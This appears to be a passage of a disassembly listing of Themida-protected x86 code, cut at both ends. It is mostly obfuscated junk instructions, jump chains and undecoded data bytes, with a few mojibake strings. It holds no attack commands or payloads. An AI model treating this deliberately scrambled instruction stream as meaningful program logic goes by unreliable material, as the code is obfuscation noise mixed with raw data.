'│г\Ц└▌ИаL',0 align 2 loc_592F6A: ; CODE XREF: Themida_:0058E2C4j xor ebx, eax mov dx, [esp] push ecx jmp loc_58CF87 ; --------------------------------------------------------------------------- loc_592F76: ; CODE XREF: Themida_:0058BB75j pop edx neg esi or esi, 35B72A8Eh push eax mov eax, 707316DDh or eax, 7AF2788Fh add eax, 0CA17FE40h jmp loc_5977A8 ; --------------------------------------------------------------------------- loc_592F94: ; CODE XREF: Themida_:0058F464j inc eax or eax, 2A393560h jmp loc_58E13A ; --------------------------------------------------------------------------- db 8Bh dd 8B662424h, 7EE9240Ch, 81FFFF98h, 8776FFF7h, 81DFF753h dd 55013AF7h, 0B1EF8145h, 2915AC90h, 243C8BFBh, 0E904C483h dd 0FFFF8D68h ; --------------------------------------------------------------------------- loc_592FCC: ; CODE XREF: Themida_:005961C6j add dh, 0EFh not dh add dh, 0FDh sub al, 0Ah add al, dh add al, 0Ah pop edx pop edx push ecx push ebx mov bh, 46h shl bh, 1 xor bh, 3Fh jmp loc_58B421 ; --------------------------------------------------------------------------- loc_592FEA: ; CODE XREF: Themida_:0058DB8Fj push 54110F11h pop ebx and ebx, 7B7B5567h xor ebx, 32861A84h mov ebp, ebx jmp loc_591E4F ; --------------------------------------------------------------------------- loc_593003: ; CODE XREF: Themida_:00590AD8j mov [esp], ecx mov ecx, 765664F1h xor ecx, 765664F5h add esi, ecx pop ecx xchg esi, [esp] jmp loc_58E23F ; --------------------------------------------------------------------------- dd 0F680D1B6h, 5AF000F0h, 2EABE951h, 3BB40000h, 4B75366h dd 5B66FD00h, 0ED80E500h, 0E8005804h, 0EEB8059h, 8093EB80h dd 0C300D7C3h, 808AB450h, 0E48095ECh, 0E9D4F6E1h, 0FFFFCC58h dd 4C781h, 0C7830000h, 243C8704h, 3D47E9h db 0 ; --------------------------------------------------------------------------- loc_593069: ; CODE XREF: Themida_:0058B3C6j pop esp jmp loc_5944F4 ; --------------------------------------------------------------------------- loc_59306F: ; CODE XREF: Themida_:0058FE3Dj push 758Bh mov [esp], edx mov edx, esp sub esp, 4 jmp loc_58D714 ; --------------------------------------------------------------------------- db 59h, 81h, 0C5h dd 2, 0E9242C33h, 0FFFFAD32h, 3FC5E957h db 2 dup(0) ; --------------------------------------------------------------------------- loc_593096: ; CODE XREF: Themida_:0058E7B0j push esi push dword ptr [esp+4] push dword ptr [esp] pop esi sub esp, 4 mov [esp], edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp pop dword ptr [esp] pop esp xor [esp], al pushf jmp loc_58B37B ; --------------------------------------------------------------------------- db 0FEh, 0CFh, 80h dd 0E7C0C4E7h, 66CFFE03h, 0E963B252h, 0FFFFA2BFh ; --------------------------------------------------------------------------- loc_5930D4: ; CODE XREF: Themida_:0058DEC6j pop esp loc_5930D5: ; CODE XREF: Themida_:005901DCj push 63F6h jmp loc_591BA7 ; --------------------------------------------------------------------------- loc_5930DF: ; CODE XREF: Themida_:0059388Cj not ecx xor [esp], ecx xor ecx, [esp] xor [esp], ecx mov ebp, [esp] add esp, 4 push eax push ebp pop eax mov ebp, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push 503Bh mov [esp], ecx push 79A3h mov [esp], edi push ebx mov ebx, 2607428Ch shl ebx, 2 jmp loc_595330 ; --------------------------------------------------------------------------- loc_593127: ; CODE XREF: Themida_:00590A0Fj mov edx, 7A449C6h push edx not dword ptr [esp] jmp loc_5910E9 ; --------------------------------------------------------------------------- db 87h, 3Ch, 24h dd 5AD1295Ch, 5C240C87h, 0FFBA11E9h db 0FFh ; --------------------------------------------------------------------------- loc_593145: ; CODE XREF: Themida_:005914E6j push 7311h mov [esp], ebx push 2B8h mov [esp], edx mov dh, 7Fh mov bl, dh mov edx, [esp] add esp, 4 push edx mov dh, bl mov ch, dh pop edx push dword ptr [esp] mov ebx, [esp] add esp, 4 add esp, 4 add al, 40h add al, ch jmp loc_590AEA ; --------------------------------------------------------------------------- dd 70045B5Ah, 0FFDBCBE9h, 0F3C981FFh, 0D1520B68h, 77E981E9h dd 1397FB6h, 0A01DE9C8h, 1C31FFFFh, 241C3324h, 4D3665Ch dd 0CCE99C24h db 81h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5931AF: ; CODE XREF: Themida_:005979CDj add eax, edi jmp loc_593998 ; --------------------------------------------------------------------------- loc_5931B6: ; CODE XREF: Themida_:0058BF39j neg edi not edi jmp loc_59040F ; --------------------------------------------------------------------------- loc_5931BF: ; CODE XREF: Themida_:00592D7Cj mov [esp], ebp mov ebp, 3DEE0C06h or eax, ebp pop ebp push ebx jmp loc_598217 ; --------------------------------------------------------------------------- dd 0F06E5C1h, 0FFB18E89h, 262AE9FFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5931DE: ; CODE XREF: Themida_:005908D8j add edi, esi push dword ptr [esp] pop esi add esp, 4 jmp loc_58CF67 ; --------------------------------------------------------------------------- db 0BAh dd 0 aWiS db 'W┴вИ╬*',0 align 4 loc_5931FC: ; CODE XREF: Themida_:0058F8BAj push edx jmp loc_595F82 ; --------------------------------------------------------------------------- dw 505Fh dd 0C573B68h, 60055858h, 3124F127h, 0EA8158C2h, 7ED97A3Eh dd 0C281FA01h, 7ED97A3Eh, 0AEE7E953h, 0EA87FFFFh, 0EA87D5F7h dd 6824C281h, 57E9014Dh db 0F0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_593237: ; CODE XREF: Themida_:0058BEF7j push esi inc dword ptr [esp] pop esi add esi, 0FFFFFFFFh push ebp mov ebp, 984ECAEAh sub esi, ebp pop ebp jmp loc_58D12F ; --------------------------------------------------------------------------- loc_593250: ; CODE XREF: Themida_:00594D46j push ebx jmp loc_596F3A ; --------------------------------------------------------------------------- loc_593256: ; CODE XREF: Themida_:0059072Ej add dword ptr [edi+20h], 10A44600h sub esp, 4 jmp loc_591C8C ; --------------------------------------------------------------------------- loc_593268: ; CODE XREF: Themida_:00598538j and cl, 8Fh dec cl jmp loc_58CD3F ; --------------------------------------------------------------------------- loc_593272: ; CODE XREF: Themida_:0058BA2Cj xchg edx, [esp] pop esp push edi mov edi, esp add edi, 4 add edi, 4 push 3F69h jmp loc_58DE97 ; --------------------------------------------------------------------------- db 2Dh dd 663953F0h, 465EBE56h, 0F029149Bh, 4EC815Eh, 89000000h dd 0E9562414h, 0FFFF818Ch ; --------------------------------------------------------------------------- loc_5932AC: ; CODE XREF: Themida_:0059359Bj add ebx, esi pop esi xchg ebx, [esp] pop esp add edi, 2 xchg edi, [esp] jmp loc_58CE86 ; --------------------------------------------------------------------------- loc_5932BE: ; CODE XREF: Themida_:0058DDBDj not edi add edi, 96FF9EE7h add edx, edi pop edi push ebx mov ebx, 4 jmp loc_58E1F4 ; --------------------------------------------------------------------------- loc_5932D4: ; CODE XREF: Themida_:00596F05j inc al jmp loc_5943E1 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF809Bh ; --------------------------------------------------------------------------- loc_5932E0: ; CODE XREF: Themida_:005959F7j mov edx, [esp] jmp loc_593A24 ; --------------------------------------------------------------------------- dd 2C71080Dh, 0F3BEE95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5932F2: ; CODE XREF: Themida_:loc_58F2C8j inc edx jl loc_58D2FD jmp loc_58F780 ; --------------------------------------------------------------------------- dw 8B57h db 0EEh, 8Ah, 0E9h ; --------------------------------------------------------------------------- loc_593303: ; CODE XREF: Themida_:00594B81j add eax, 0C140B406h push edx mov edx, 239398Bh add esi, edx pop edx add esi, eax jmp loc_58C681 ; --------------------------------------------------------------------------- dword_593318 dd 9D1C77FFh, 14D35966h, 54E99C24h, 56FFFF80h, 468h, 0F0015E00h ; DATA XREF: Themida_:0058B294o dd 4C0835Eh, 5C240487h, 29716853h, 24890000h, 24048324h dd 241C8B04h, 4C481h, 0B8500000h, 4, 2FE9C301h db 0B6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59335B: ; CODE XREF: Themida_:0058FA65j add esp, 4 jmp loc_58B85F ; --------------------------------------------------------------------------- dw 5B54h dd 4C381h, 0B0680000h, 0E9000022h, 0FFFFD034h dword_593378 dd 24048B66h, 0F8A68h, 24048900h, 674E9h, 6176800h, 5BE90000h ; DATA XREF: Themida_:0058B160o db 96h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_593393: ; CODE XREF: Themida_:0058C15Ej mov ebp, [esp] add esp, 4 or eax, eax jz loc_58D266 push 3F38h mov [esp], edx jmp loc_598559 ; --------------------------------------------------------------------------- db 0E9h, 4Fh, 2Fh dd 0E95F0000h, 0DB6h ; --------------------------------------------------------------------------- loc_5933BC: ; CODE XREF: Themida_:00592A18j add eax, 4 push 2F30h mov [esp], edx jmp loc_596C84 ; --------------------------------------------------------------------------- dw 0C89h aSr db '$И░/',0 align 2 loc_5933D6: ; CODE XREF: Themida_:0058FB50j xchg ebp, [esp] pop esp mov [esp], esp add dword ptr [esp], 4 jmp loc_5947F1 ; --------------------------------------------------------------------------- dw 1C89h dd 83E95724h, 4BFFFFE8h, 7927B951h, 96E97721h, 5FFFFFE3h dd 0FFD3A5E9h, 240C87FFh, 2CD3665Ch, 6CE99C24h db 7Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59340F: ; CODE XREF: Themida_:00597649j mov [esp], esp jmp loc_58C0D6 ; --------------------------------------------------------------------------- loc_593417: ; CODE XREF: Themida_:0058E9A1j push dword ptr [esp] pop ecx sub esp, 4 jmp loc_58FAA7 ; --------------------------------------------------------------------------- dw 4481h dd 5B4C0424h, 6C014639h, 6C810424h, 5B4C0424h, 8B5D4639h dd 2A682434h, 89000059h, 0E2892414h, 168E9h, 0FDBF700h dd 0FF896E8Eh, 0C38143FFh, 195A1E3Bh, 40CEE9h db 0 byte_593461 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:0058B220o dd 4EC8124h, 0E9000000h, 0FFFF83C0h ; --------------------------------------------------------------------------- loc_593470: ; CODE XREF: Themida_:0058E6B2j pop ebx push esi mov esi, edi push esi add dword ptr [esp], 1B715271h pop ecx push ebp jmp loc_58F7BD ; --------------------------------------------------------------------------- db 5Eh dd 0FFDAE0E9h, 2474FFFFh, 48F5804h, 24248B24h, 8B2434FFh dd 0C481240Ch, 4, 50E38953h, 4B8h, 58C30100h, 12BF5756h dd 0BE3F6D71h, 3134091Fh, 0FFE789E9h db 0FFh byte_5934BD db 66h, 8Bh, 4 ; DATA XREF: Themida_:0058B218o aSwo db '$ИwO',0 align 2 loc_5934C6: ; CODE XREF: Themida_:00591C41j push dword ptr [esp+4] jmp loc_58C516 ; --------------------------------------------------------------------------- loc_5934CF: ; CODE XREF: Themida_:00598380j push edi mov edi, 5BED5BA4h sub ecx, 252F4F46h sub ecx, edi add ecx, 252F4F46h pop edi sub ecx, 9C030802h sub edi, ecx pop ecx sub ebx, edi pop edi and eax, ebx pop ebx shr eax, 0Ah xor eax, ecx push 35E1h mov [esp], eax xor [esp], esi jmp loc_591C1F ; --------------------------------------------------------------------------- dd 0FFEDBCE9h db 0FFh ; --------------------------------------------------------------------------- loc_59350D: ; CODE XREF: Themida_:0058C591j add esp, 4 mov edx, [esp] add esp, 4 jmp loc_58BCB5 ; --------------------------------------------------------------------------- loc_59351E: ; CODE XREF: Themida_:00591FBFj add cl, 0FCh add al, cl mov ecx, [esp] add esp, 4 sub al, cl push ebx push edx mov dl, 60h mov bh, dl mov edx, [esp] add esp, 4 xor bh, 98h jmp loc_593DF6 ; --------------------------------------------------------------------------- loc_593545: ; CODE XREF: Themida_:0059676Aj add eax, 2 jmp loc_5919EF ; --------------------------------------------------------------------------- loc_59354D: ; CODE XREF: Themida_:0058F2C3j pop dword ptr [esp] jmp loc_591C6A ; --------------------------------------------------------------------------- loc_593555: ; CODE XREF: Themida_:00596783j sub esp, 4 jmp loc_596E20 ; --------------------------------------------------------------------------- db 56h, 0E9h, 0D2h db 0E4h, 2 dup(0FFh) byte_593563 db 66h ; DATA XREF: Themida_:0058B19Co dd 10E9028Fh db 7Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59356B: ; CODE XREF: Themida_:005919BBj xchg edi, [esp] pop esp mov [esp], ebx push dword ptr [esp] pop eax push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push 3CFCh jmp loc_597F0C ; --------------------------------------------------------------------------- loc_593590: ; CODE XREF: Themida_:00595A21j pop ebp jmp loc_58C76F ; --------------------------------------------------------------------------- loc_593596: ; CODE XREF: Themida_:00597E0Dj mov esi, 4 jmp loc_5932AC ; --------------------------------------------------------------------------- dd 0D04061B9h, 0A6FAE937h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5935AA: ; CODE XREF: Themida_:005919A4j sub esp, 2 jmp loc_59558D ; --------------------------------------------------------------------------- db 81h, 0C2h, 4 dd 0E9000000h, 0FFFF9606h ; --------------------------------------------------------------------------- loc_5935C0: ; CODE XREF: Themida_:005900C5j add dl, 0C3h and ch, dl jmp loc_593AA8 ; --------------------------------------------------------------------------- dw 0ACE9h dd 5FFFFF7Dh, 8145E95Bh, 32DFFFFh, 0E9061E0Eh, 0FFFFAEE3h dword_5935E0 dd 8B2434FFh, 0C481240Ch, 4, 2B9E68h, 24048900h, 0FF9B69E9h ; DATA XREF: Themida_:0058B2F4o db 0FFh ; --------------------------------------------------------------------------- loc_5935F9: ; CODE XREF: Themida_:0058DF55j mov [esp], edx jmp loc_594DD9 ; --------------------------------------------------------------------------- db 81h, 0C6h, 2 dd 87000000h, 248B2434h, 2404D324h, 7D65E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_593616: ; CODE XREF: Themida_:0058DBC0j mov ebp, [esp] jmp loc_58F6C4 ; --------------------------------------------------------------------------- loc_59361E: ; CODE XREF: Themida_:00597458j sub ebx, 9C148D21h jmp loc_596318 ; --------------------------------------------------------------------------- loc_593629: ; CODE XREF: Themida_:0058F6DCj pop esp push edx mov dh, 45h push 6DC6h mov [esp], ecx push edx jmp loc_5908B1 ; --------------------------------------------------------------------------- loc_59363B: ; CODE XREF: Themida_:00590857j mov [esp], edx mov edx, 58720931h sub edx, 2918690Fh not edx neg edx jle loc_58B8AA sub edx, 32F440C7h jmp loc_58F2C8 ; --------------------------------------------------------------------------- loc_59365E: ; CODE XREF: Themida_:0058CCDAj mov ecx, 5A584D8Bh mov eax, ecx pop ecx jmp loc_590B10 ; --------------------------------------------------------------------------- db 81h dd 0F677BAEBh, 114E957h, 2C890000h, 58EDBD24h, 0CD81150Eh dd 4AC81E4Ah, 94E9DDF7h, 8300001Dh, 0DA0104C4h, 4C2815Bh dd 87000000h, 835C2414h, 0E9F704C4h, 0FFF262E9h db 0FFh ; --------------------------------------------------------------------------- loc_5936A5: ; CODE XREF: Themida_:00595A85j add edx, 6EA81941h add edx, edi sub edx, 6EA81941h add edx, 53E17CC0h push edi jmp loc_5959E3 ; --------------------------------------------------------------------------- db 0Fh dd 0FF9C8288h, 0A504E9FFh, 0BA52FFFFh, 21553C60h, 50BBBD55h dd 0E5C16242h, 0C8E5E902h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5936DE: ; CODE XREF: Themida_:00597F94j xchg ecx, [esp] pop esp jmp loc_590E7E ; --------------------------------------------------------------------------- db 5Eh dd 4C681h, 0C6830000h, 74FF5604h, 8F5E0424h, 0FBE92404h db 0CFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5936FF: ; CODE XREF: Themida_:0058C7F2j xor [esp], esi xor esi, [esp] pop esp push 0ABAh mov [esp], edi jmp loc_58D609 ; --------------------------------------------------------------------------- loc_593713: ; CODE XREF: Themida_:005926FCj push edx push ebp jmp loc_594A59 ; --------------------------------------------------------------------------- loc_59371A: ; CODE XREF: Themida_:0059693Dj xor [esp], esi xor esi, [esp] mov esp, [esp] push ecx mov ecx, 639A3F2Ch or ecx, 49E10F10h jl loc_58B764 dec ecx jmp loc_5909DE ; --------------------------------------------------------------------------- loc_59373B: ; CODE XREF: Themida_:00595DC4j and edi, 6690A53h jmp loc_58F718 ; --------------------------------------------------------------------------- dw 8F58h dd 248B2404h, 24148924h, 0F50EE954h, 0F229FFFFh, 0A953E95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59375E: ; CODE XREF: Themida_:00592095j or eax, eax jz loc_5964DF push dword ptr [edi+1Ch] push dword ptr [esp] push dword ptr [esp] pop ecx add esp, 4 push edx mov edx, esp push eax mov eax, 4 add edx, eax mov eax, [esp] add esp, 4 push ebp jmp loc_594A73 ; --------------------------------------------------------------------------- dw 0D901h dd 4E9835Bh, 0FFD300E9h db 0FFh ; --------------------------------------------------------------------------- loc_593795: ; CODE XREF: Themida_:00594D07j and eax, 7E55142h jge loc_5953B3 xor eax, 0CC2C7F0Ch mov esi, eax pop eax add esi, edx pop edx mov ah, bh add esp, 4 jmp loc_58B602 ; --------------------------------------------------------------------------- loc_5937B8: ; CODE XREF: Themida_:005925D6j or edx, 3CAB5DCAh push 367Eh mov [esp], ecx mov ecx, 28437C98h or edx, ecx pop ecx jmp loc_59703E ; --------------------------------------------------------------------------- byte_5937D3 db 66h ; DATA XREF: Themida_:0058B268o dd 6824048Bh, 428Fh, 68242C89h, 2F87h, 46DAE9h, 69526800h dd 0C890000h, 1C076824h, 0A7E90000h, 8FFFFFDFh, 895C2404h dd 168242Ch, 5D000000h, 0FF1C6F09h, 36E92434h, 51FFFF9Eh dd 4B9h, 59CE8900h, 835EF001h, 0DC6804C0h, 0E9000041h dd 0C36h ; --------------------------------------------------------------------------- loc_59382C: ; CODE XREF: Themida_:00593D5Dj shr ecx, 0Ah push edx push ebx xor dword ptr [esp], 7F14679Ah pop edx jmp loc_58E930 ; --------------------------------------------------------------------------- dw 0E95Ah dd 0FFFFE13Dh, 0D187D2F7h, 3E9CE87h, 81000041h, 205566C2h dd 3527E92Dh, 34FF0000h, 0C4815824h, 4, 2B951h, 0CB010000h dd 9F3E9h, 0CB02D00h, 0DC057EB1h, 5F31F529h, 0E9240487h dd 0FFFFD391h ; --------------------------------------------------------------------------- loc_593884: ; CODE XREF: Themida_:00595D15j push dword ptr [esp+4] pop ecx pop dword ptr [esp] jmp loc_5930DF ; --------------------------------------------------------------------------- loc_593891: ; CODE XREF: Themida_:0058FD36j mov edx, esp jmp loc_590C3E ; --------------------------------------------------------------------------- dd 0EE81EED1h, 102000Fh, 565EF301h, 0DDA68h, 3A29E900h dd 0ABE90000h db 89h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5938B3: ; CODE XREF: Themida_:0058D269j push dword ptr [esp] mov ecx, [esp] add esp, 4 push esi jmp loc_596F62 ; --------------------------------------------------------------------------- loc_5938C5: ; CODE XREF: Themida_:0058DEF3j pop ebp add eax, 4 push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp pop dword ptr [esp] mov esp, [esp] jmp loc_590DC0 ; --------------------------------------------------------------------------- loc_5938DE: ; CODE XREF: Themida_:00596D37j mov [esp], ebx push dword ptr [esp] pop eax jmp loc_597C21 ; --------------------------------------------------------------------------- dw 48Fh dd 24048124h, 4, 57242C8Bh, 59E9E789h, 81FFFFF7h, 0A41659C2h dd 242C8B04h, 4C481h, 0C2010000h, 758368h, 1274E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59391A: ; CODE XREF: Themida_:0059590Bj push dword ptr [esp] pop eax add esp, 4 or ebx, ebx jnz loc_59690A sub esp, 4 mov [esp], edx sub dword ptr [esp], 723A6739h pop dword ptr [edi+20h] jmp loc_59420B ; --------------------------------------------------------------------------- loc_593941: ; CODE XREF: Themida_:005924ACj and ebp, 23417AE9h jno loc_58E6FA jmp loc_592A2E ; --------------------------------------------------------------------------- dw 0FF05h dd 50676F20h, 50CB045Ah ; --------------------------------------------------------------------------- loc_59395C: ; CODE XREF: Themida_:0059064Cj and ecx, 49F65E2Ch jmp loc_592CFD ; --------------------------------------------------------------------------- loc_593967: ; CODE XREF: Themida_:loc_58BCE9j jmp loc_58E1EA ; --------------------------------------------------------------------------- loc_59396C: ; CODE XREF: Themida_:005965E8j dec eax shr eax, 7 jmp loc_592C19 ; --------------------------------------------------------------------------- db 58h, 0E9h, 0D7h db 0E5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59397B: ; CODE XREF: Themida_:0058F3F1j ; Themida_:00597F1Fj add edi, 4 jmp loc_58ECB5 ; --------------------------------------------------------------------------- aFzsol db 'fZИ▌L',0 dd 3858B900h, 0E9576278h, 0FFFF88ACh ; --------------------------------------------------------------------------- loc_593998: ; CODE XREF: Themida_:005931B1j pop edi jmp loc_5980CA ; --------------------------------------------------------------------------- loc_59399E: ; CODE XREF: Themida_:00594006j pop esp jmp loc_58F423 ; --------------------------------------------------------------------------- loc_5939A4: ; CODE XREF: Themida_:00597BF9j dec ebx add ebx, 6AB477Eh shr ebx, 7 not ebx push edx mov edx, 0 jmp loc_5952A7 ; --------------------------------------------------------------------------- loc_5939BB: ; CODE XREF: Themida_:00598212j xor edx, 1F114949h jmp loc_592948 ; --------------------------------------------------------------------------- loc_5939C6: ; CODE XREF: Themida_:0058C5F6j sub ecx, 4C6D2EF1h sub ecx, eax add ecx, 4C6D2EF1h pop eax jmp loc_58C940 ; --------------------------------------------------------------------------- dw 1C31h dd 241C3324h, 0E924248Bh, 0FFFFB58Dh, 0D7F610B7h, 0E907E7C0h dd 0FFFF8943h ; --------------------------------------------------------------------------- loc_5939F4: ; CODE XREF: Themida_:loc_593BBFj xor ah, 0EAh push ebx jmp loc_597EFE ; --------------------------------------------------------------------------- db 89h, 0E0h, 52h dd 4BAh, 0AFBF5700h, 297EB55Eh, 0B332E9F8h, 13E9FFFFh db 0BBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_593A17: ; CODE XREF: Themida_:0058C47Aj push small 0A92h mov [esp], ax jmp loc_58F939 ; --------------------------------------------------------------------------- loc_593A24: ; CODE XREF: Themida_:005913DDj ; Themida_:005932E3j pop eax sub al, 2Eh push bx mov bl, 0A4h sub al, bl jmp loc_58DBC5 ; --------------------------------------------------------------------------- dw 0FC04h dd 0EC81D828h, 4, 0B1240C89h, 86C9FE59h, 0E9E630F1h, 4C1Fh ; --------------------------------------------------------------------------- loc_593A4C: ; CODE XREF: Themida_:00596FDFj ; Themida_:005985D8j pop esp jmp loc_58F074 ; --------------------------------------------------------------------------- dw 0C681h dd 4, 0C848E955h, 0E5C1FFFFh, 0AFA3E905h, 5552FFFFh, 422C77BDh dd 0E9EA895Fh, 0FFFFD7EFh ; --------------------------------------------------------------------------- loc_593A74: ; CODE XREF: Themida_:0058CF21j or dl, 47h jge loc_595C90 jmp loc_590E6E ; --------------------------------------------------------------------------- loc_593A82: ; CODE XREF: Themida_:0058E4E3j push 4AE9h jmp loc_595229 ; --------------------------------------------------------------------------- dd 8904EC83h, 0EC832404h, 242C8904h, 0FFB204E9h db 0FFh ; --------------------------------------------------------------------------- loc_593A9D: ; CODE XREF: Themida_:00594C2Dj push ebp mov ebp, 5E024D4h jmp loc_591400 ; --------------------------------------------------------------------------- loc_593AA8: ; CODE XREF: Themida_:005935C5j pop dx add ch, 1 and ch, 8Fh jmp loc_590D03 ; --------------------------------------------------------------------------- db 0BEh, 4, 0 dd 0F0010000h, 2404335Eh, 4B8EE9h db 0 ; --------------------------------------------------------------------------- loc_593AC5: ; CODE XREF: Themida_:0058F60Dj push eax mov ah, 39h shr ah, 2 shl ah, 3 and ah, 79h dec ah jmp loc_594C01 ; --------------------------------------------------------------------------- dd 24048F5Dh, 9DBCE95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_593AE2: ; CODE XREF: Themida_:0058D6FBj mov esi, 2AFA71F2h jmp loc_5922A4 ; --------------------------------------------------------------------------- dd 4C781h, 0C7810000h, 4, 5C243C87h, 0EFE9D828h db 7Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_593B03: ; CODE XREF: Themida_:005914C9j push 6766h jmp loc_58E498 ; --------------------------------------------------------------------------- loc_593B0D: ; CODE XREF: Themida_:0058BCEFj mov esi, esp jmp loc_58E24D ; --------------------------------------------------------------------------- loc_593B14: ; CODE XREF: Themida_:0058DC9Fj shl ebx, 1 add ebx, 31D7536Ch jnb loc_594EFB xor ebx, 10E9A180h mov ebp, ebx pop ebx or ebp, 0ADC3427h sub ebp, 1FFF37FEh push ebx mov ebx, 0 add ebx, ecx add [ebx], ebp pop ebx pop ebp jmp loc_597F7D ; --------------------------------------------------------------------------- dd 0FF782EE9h db 0FFh ; --------------------------------------------------------------------------- loc_593B4D: ; CODE XREF: Themida_:005962B3j pop esp dec dword ptr [esp] pushf jmp loc_58B37B ; --------------------------------------------------------------------------- loc_593B57: ; CODE XREF: Themida_:0058B5F6j pop edx xor eax, 6E5E172Ah xor eax, 1FF80243h push ebx push eax mov eax, 2AFD3E1Dh mov ebx, 55AF48E1h sub ebx, eax pop eax jmp loc_594B76 ; --------------------------------------------------------------------------- dd offset dword_44B1B4+1A35h dw 8900h dd 4C281E2h, 83000000h, 143304C2h, 24143124h, 5C241433h dd 0FFBC11E9h, 0C1D5F7FFh, 0C58106EDh, 11D89DC2h, 835DEF29h dd 736801C7h, 89000056h, 68512414h, 2F0B3F3Fh, 83240C8Bh dd 84E904C4h db 0A4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_593BBF: ; CODE XREF: Themida_:0058ED5Bj jg loc_5939F4 xor ah, 0EAh push ebx jmp loc_595DAD ; --------------------------------------------------------------------------- dw 0E089h db 52h ; --------------------------------------------------------------------------- loc_593BD1: ; CODE XREF: Themida_:00594C35j xor esi, [esp] pop esp or edx, eax jmp loc_58F958 ; --------------------------------------------------------------------------- dd 0BB53h, 0C3290000h, 0D0F75B93h, 3548D8F7h, 5C7E5C04h dd 80E9C201h db 0ADh, 2 dup(0FFh) byte_593BF7 db 66h ; DATA XREF: Themida_:0058B0A8o dd 6824048Bh, 51CEh, 48C7E9h, 50E58900h, 8904EC83h, 0F5B9240Ch dd 6855894Dh, 0A8Ch, 2E24E9h db 0 ; --------------------------------------------------------------------------- loc_593C1D: ; CODE XREF: Themida_:00591EE0j mov [esp], esp add dword ptr [esp], 4 pop edi push esi mov esi, 4 add edi, esi pop esi jmp loc_5919B1 ; --------------------------------------------------------------------------- db 81h dd 0FFFFFFC6h, 68FFh, 0C0E90000h db 18h, 2 dup(0) ; --------------------------------------------------------------------------- loc_593C43: ; CODE XREF: Themida_:0059787Dj pop esp jmp loc_58EB0A ; --------------------------------------------------------------------------- loc_593C49: ; CODE XREF: Themida_:0058DC97j pop ebx mov ebx, 8263A3F2h jmp loc_594749 ; --------------------------------------------------------------------------- loc_593C54: ; CODE XREF: Themida_:0059444Ej jmp loc_5924AA ; --------------------------------------------------------------------------- loc_593C59: ; CODE XREF: Themida_:00593E4Bj sub eax, 14C83538h sub eax, 117714FEh jmp loc_5970D8 ; --------------------------------------------------------------------------- dd 81242489h, 42404h, 0E9590000h, 2657h, 0D8E9D001h db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_593C7F: ; CODE XREF: Themida_:005970ADj and ah, 28h not ah sub ah, 47h push ebx jmp loc_591B60 ; --------------------------------------------------------------------------- db 89h, 14h, 24h dd 0FFC4CEE9h db 0FFh ; --------------------------------------------------------------------------- loc_593C95: ; CODE XREF: Themida_:005958DCj push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] mov esp, [esp] jmp loc_59671F ; --------------------------------------------------------------------------- loc_593CAC: ; CODE XREF: Themida_:005901F3j mov edx, [esp] add esp, 4 push eax mov eax, 2D657D8Ah sub edx, 4BDD51CEh jmp loc_597F24 ; --------------------------------------------------------------------------- loc_593CC6: ; CODE XREF: Themida_:00591781j ; Themida_:005958B3j add edx, ebp pop ebp sub esp, 4 mov [esp], esi mov esi, 30046594h sub esi, 83060F6h jns loc_58D169 neg esi js loc_58EF98 and esi, 37935EB4h loc_593CEE: ; CODE XREF: Themida_:0058F6A8j add edi, esi add edi, 183925EEh pop esi push ecx mov ecx, 238316Fh jmp loc_594C6D ; --------------------------------------------------------------------------- loc_593D02: ; CODE XREF: Themida_:0058E362j mov ecx, 1F6B1609h xor [esp+4], ecx mov ecx, [esp] push edi mov edi, esp add edi, 4 push ebp mov ebp, 4 jmp loc_58BA80 ; --------------------------------------------------------------------------- loc_593D22: ; CODE XREF: Themida_:00594ACDj not eax jmp loc_58B5ED ; --------------------------------------------------------------------------- db 5Eh, 81h, 0EEh dd 54451DB3h, 48A00559h, 0A20516CCh, 0E94CEC2Fh, 0FFFFD871h dd 355FF801h, 3615A716h, 1A72E9h db 0 ; --------------------------------------------------------------------------- loc_593D4D: ; CODE XREF: Themida_:0058D260j add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_59382C ; --------------------------------------------------------------------------- loc_593D62: ; CODE XREF: Themida_:00594192j mov dh, 80h shr dh, 1 dec dh jns loc_58C28E jmp loc_58CC57 ; --------------------------------------------------------------------------- db 0F6h dd 24B252D1h db 5Ch ; --------------------------------------------------------------------------- loc_593D79: ; CODE XREF: Themida_:0059656Cj pop ecx add ecx, ebx jmp loc_597BAE ; --------------------------------------------------------------------------- loc_593D81: ; CODE XREF: Themida_:005914C1j add bl, 63h add bl, al sub bl, 63h pop eax push eax push ebx mov bl, 99h jmp loc_58B4DA ; --------------------------------------------------------------------------- loc_593D93: ; CODE XREF: Themida_:00594982j push esi mov esi, esp sub esp, 4 mov [esp], edi mov edi, 331F1CCAh xor edi, 4A5274E4h push ecx push 32CA1924h mov ecx, [esp] jmp loc_58F32B ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h dd 0FFEBB1E9h db 